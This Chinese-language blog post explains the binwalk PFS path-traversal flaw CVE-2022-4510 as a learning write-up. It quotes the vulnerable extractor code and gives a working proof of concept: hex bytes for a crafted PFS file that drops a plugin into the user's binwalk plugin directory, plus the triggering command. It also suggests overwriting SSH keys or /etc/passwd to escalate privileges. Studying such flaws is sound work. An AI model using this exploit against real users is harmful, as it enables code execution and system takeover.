天天看點

binwalk遠端指令執行漏洞原理以及示範 CVE-2022-4510簡介什麼是PFS檔案分析源代碼POC總結

簡介

根據cve官方描述,從版本2.1.2到 2.3.3的binwalk中發現了一個路徑周遊漏洞。此漏洞允許遠端攻擊者在安裝受影響的binwalk機子上執行任意代碼

什麼是PFS檔案

PFS檔案是由PhotoFiltre Studio(圖像修飾程式)建立的選擇檔案。 它包含圖像編輯器的多邊形選擇工具使用的坐标,以便在給定坐标之間繪制線。 PFS檔案以純文字格式存儲。

PFS檔案格式

https://lekensteyn.nl/files/pfs/pfs.txt
           

分析源代碼

一個PFS提取器插件在2017年合并到了binwalk中,做了一下修改

def extractor(self, fname):
         fname = os.path.abspath(fname)
         out_dir = binwalk.core.common.unique_file_name(os.path.join(os.path.dirname(fname), "pfs-root"))

         try:
             with PFS(fname) as fs:  #讀取pfs檔案資料
               data = open(fname, 'rb')
               data = binwalk.core.common.BlockFile(fname, 'rb')
               data.seek(fs.get_end_of_meta_data())
               for entry in fs.entries():
                   outfile_path = os.path.join(out_dir, entry.fname)
                   if not outfile_path.startswith(out_dir): 
                        binwalk.core.common.warning("Unpfs extractor detected directory traversal attempt for file: '%s'. Refusing to extract." % outfile_path)
                    else:
                        self._create_dir_from_fname(outfile_path)
                        outfile = binwalk.core.common.BlockFile(outfile_path, 'wb')
                        outfile.write(data.read(entry.fsize))
                        outfile.close()
                 data.close()
         except KeyboardInterrupt as e:
             raise e
           

問題出現在os.path.join函數上,因為第11行的代碼沒有完全進行路徑解析,是以第12行的條件就永遠不會為真

binwalk遠端指令執行漏洞原理以及示範 CVE-2022-4510簡介什麼是PFS檔案分析源代碼POC總結

通過制作一個路徑周遊的PFS檔案,我們可以強制binwalk在目錄之外寫入檔案

POC

使用者可以使用binwalk的 API 定義自己的插件,隻需要把插件放在$HOME/.config/binwalk/plugins/目錄下,之後運作binwalk時就會調用插件

惡意代碼:

import binwalk.core.plugin

class MaliciousExtractor(binwalk.core.plugin.Plugin):
    def init(self):
        print("baimao")
           

儲存後用winhex打開檔案

binwalk遠端指令執行漏洞原理以及示範 CVE-2022-4510簡介什麼是PFS檔案分析源代碼POC總結

直接粘貼以下十六進制資料

5046 532f 302e 3900 0000 0000 0000 0100
2e2e 2f2e 2e2f 2e2e 2f2e 636f 6e66 6967
2f62 696e 7761 6c6b 2f70 6c75 6769 6e73
2f6d 616c 7761 6c6b 2e70 7900 0000 0000
0000 0000 0000 0000 0000 0000 0000 0000
0000 0000 0000 0000 0000 0000 0000 0000
0000 0000 0000 0000 0000 0000 0000 0000
0000 0000 0000 0000 0000 0000 0000 0000
0000 0000 0000 0000 0000 0000 0000 0000
3412 0000 a000 0000 c100 0000
           
binwalk遠端指令執行漏洞原理以及示範 CVE-2022-4510簡介什麼是PFS檔案分析源代碼POC總結

将.py儲存為.pfs檔案,然後添加到壓縮包裡

binwalk遠端指令執行漏洞原理以及示範 CVE-2022-4510簡介什麼是PFS檔案分析源代碼POC總結

當從使用者的主目錄中用binwalk提取檔案時,會在.config/binwalk/plugins加入一個插件,這個惡意插件随後會被 binwalk 加載和執行,進而導緻 RCE

cd ~
binwalk -M -e exp.zip
           
binwalk遠端指令執行漏洞原理以及示範 CVE-2022-4510簡介什麼是PFS檔案分析源代碼POC總結

成功執行代碼

總結

今年1月31号才披露細節的cve,學習了一下,除了覆寫./.config/binwalk/plugins/malwalk.py檔案,我們還可以覆寫id.rsa或者/etc/passwd檔案來直接提權

參考文檔:

https://nvd.nist.gov/vuln/detail/CVE-2022-4510
https://onekey.com/blog/security-advisory-remote-command-execution-in-binwalk
           

繼續閱讀